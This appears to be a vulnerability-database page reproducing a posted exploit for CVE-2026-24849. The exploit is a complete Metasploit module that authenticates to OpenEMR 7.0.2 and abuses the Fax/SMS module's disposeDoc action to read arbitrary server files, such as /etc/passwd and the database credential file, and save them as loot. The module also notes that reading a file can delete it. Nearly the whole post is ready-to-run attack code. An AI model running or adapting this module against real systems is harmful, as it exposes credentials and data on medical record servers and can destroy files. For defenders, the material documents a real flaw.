| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| CVE-2026-24849 | 25 Feb 202601:44 | – | attackerkb | |
| Exploit for Path Traversal in Open-Emr Openemr | 6 Jun 202605:48 | – | githubexploit | |
| CVE-2026-24849 | 25 Feb 202602:18 | – | circl | |
| OpenEMR 路径遍历漏洞 | 25 Feb 202600:00 | – | cnnvd | |
| CVE-2026-24849 | 25 Feb 202601:44 | – | cve | |
| CVE-2026-24849 OpenEMR Arbitrary File Read Vulnerability | 25 Feb 202601:44 | – | cvelist | |
| OpenEMR 7.0.2 - Arbitrary File Read | 8 Jun 202600:00 | – | exploitdb | |
| EUVD-2026-8581 | 25 Feb 202601:44 | – | euvd | |
| CVE-2026-24849 | 25 Feb 202602:16 | – | nvd | |
| CVE-2026-24849 OpenEMR Arbitrary File Read Vulnerability | 25 Feb 202601:44 | – | osv |
==================================================================================================================================
| # Title : OpenEMR 7.0.2 Authenticated Arbitrary File Read |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://www.open-emr.org/ |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module targets a vulnerability (CVE-2026-24849) in OpenEMR version 7.0.2 and related builds,
specifically an authenticated arbitrary file read flaw in the Fax/SMS module.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'OpenEMR 7.0.2 - Authenticated Arbitrary File Read',
'Description' => %q{
The Fax/SMS module's EtherFaxActions::disposeDoc() method
(interface/modules/custom_modules/oe-module-faxsms) reads a caller-supplied
`file_path` request parameter and passes it straight to readfile() with no
path validation. The method never calls authenticate(), so the only thing
required to reach it is a valid OpenEMR session.
ANY authenticated user (receptionist, clinician, etc.) can read any file
the web-server user can reach: sites/default/sqlconf.php (DB credentials),
/etc/passwd, application source, and so on.
WARNING: disposeDoc() calls unlink() on the target *after* reading it.
Reading a file that the web-server user is allowed to delete WILL remove it.
Prefer root-owned targets (e.g. /etc/passwd) whose parent directory the web
user cannot write, so the unlink() fails and the file survives.
},
'Author' => ['indoushka'],
'References' => [
['CVE', '2026-24849'],
['URL', 'https://github.com/openemr/openemr/security/advisories/GHSA-w6vc-hx2x-48pc'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2026-24849']
],
'DisclosureDate' => '2026-06-06',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS, FILE_DELETION] # Can delete the file being read
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path to OpenEMR installation', '/openemr/']),
OptString.new('USERNAME', [true, 'OpenEMR username', 'admin']),
OptString.new('PASSWORD', [true, 'OpenEMR password', '']),
OptString.new('SITE', [true, 'OpenEMR site', 'default']),
OptString.new('FILEPATH', [false, 'Absolute path of the remote file to read', '/etc/passwd']),
OptEnum.new('ACTION', [true, 'Vulnerable action name', 'disposeDoc', ['disposeDoc', 'disposeDocument']])
])
register_advanced_options([
OptBool.new('DELETE_FILE', [false, 'Delete the file after reading (exploit behavior)', false])
])
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'interface/login/login.php')
})
unless res
return Exploit::CheckCode::Unknown('Target did not respond to check')
end
unless res.body.include?('OpenEMR') || res.body.include?('openemr')
return Exploit::CheckCode::Safe('Target does not appear to be an OpenEMR instance')
end
cookie = authenticate
unless cookie
return Exploit::CheckCode::Detected('Could not authenticate, but OpenEMR detected')
end
test_content, status = read_file(cookie, '/etc/hostname')
if status == 'ok' && test_content && !test_content.empty?
return Exploit::CheckCode::Vulnerable('Successfully read /etc/hostname')
end
Exploit::CheckCode::Appears('OpenEMR detected but file read test failed')
end
def authenticate
print_status("Authenticating to OpenEMR as '#{datastore['USERNAME']}'...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'interface/login/login.php'),
'vars_get' => {
'site' => datastore['SITE']
}
})
unless res
print_error('No response from target')
return nil
end
csrf_token = nil
if res.body =~ /csrf_token_form.*?value=(["'])(.*?)\1/
csrf_token = Regexp.last_match(2)
end
data = {
'new_login_session_management' => '1',
'authProvider' => 'Default',
'authUser' => datastore['USERNAME'],
'clearPass' => datastore['PASSWORD'],
'languageChoice' => '1'
}
data['csrf_token_form'] = csrf_token if csrf_token
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'interface/main/main_screen.php'),
'vars_get' => {
'auth' => 'login',
'site' => datastore['SITE']
},
'data' => data,
'keep_cookies' => true
})
unless res && res.code == 200
print_error('Authentication failed')
return nil
end
if res.get_cookies =~ /OpenEMR\w+sess=([^;]+)/
print_good("Authentication successful")
return res.get_cookies
else
print_error('No session cookie received')
return nil
end
end
def read_file(cookie, file_path)
action = datastore['ACTION']
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'interface/modules/custom_modules/oe-module-faxsms/index.php'),
'vars_get' => {
'site' => datastore['SITE'],
'type' => 'fax',
'_ACTION_COMMAND' => action,
'file_path' => file_path,
'action' => 'download'
},
'cookie' => cookie
})
unless res
return [nil, 'timeout']
end
if res.body.include?('login_screen.php?error=1')
return [nil, 'session']
end
if res.body.include?('Problem with download')
return [nil, 'missing']
end
if res.body && !res.body.empty?
return [res.body, 'ok']
end
[nil, 'missing']
end
def run
print_status("OpenEMR < 7.0.4 - Authenticated Arbitrary File Read (CVE-2026-24849)")
print_warning("WARNING: disposeDoc() calls unlink() on the target AFTER reading it!")
print_warning("The file will be DELETED if the web server user has write permissions to its parent directory.")
print_warning("Use root-owned files (e.g., /etc/passwd) or set DELETE_FILE=false advanced option.\n")
cookie = authenticate
unless cookie
print_error('Authentication failed. Check credentials and site.')
return
end
file_path = datastore['FILEPATH']
unless file_path
print_error('No FILEPATH specified')
return
end
print_status("Reading file: #{file_path}")
content, status = read_file(cookie, file_path)
case status
when 'ok'
print_good("Successfully read #{content.length} bytes from #{file_path}")
report_vuln(
host: rhost,
port: rport,
name: name,
refs: references
)
loot_file = store_loot(
'openemr.file_read',
'text/plain',
rhost,
content,
"openemr_#{File.basename(file_path)}",
"File read from OpenEMR: #{file_path}"
)
print_good("File saved to: #{loot_file}")
print_line("\n" + "=" * 50)
print_line("File content (#{file_path}):")
print_line("=" * 50)
print_line(content[0..2000]) # First 2000 chars
if content.length > 2000
print_line("[...] (#{content.length - 2000} more bytes)")
end
print_line("=" * 50 + "\n")
when 'session'
print_error('Session rejected (auth/ACL problem). Login may have expired.')
when 'missing'
print_error("File '#{file_path}' not found/readable, or Fax/SMS module is not enabled.")
else
print_error('Connection timeout or error')
end
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation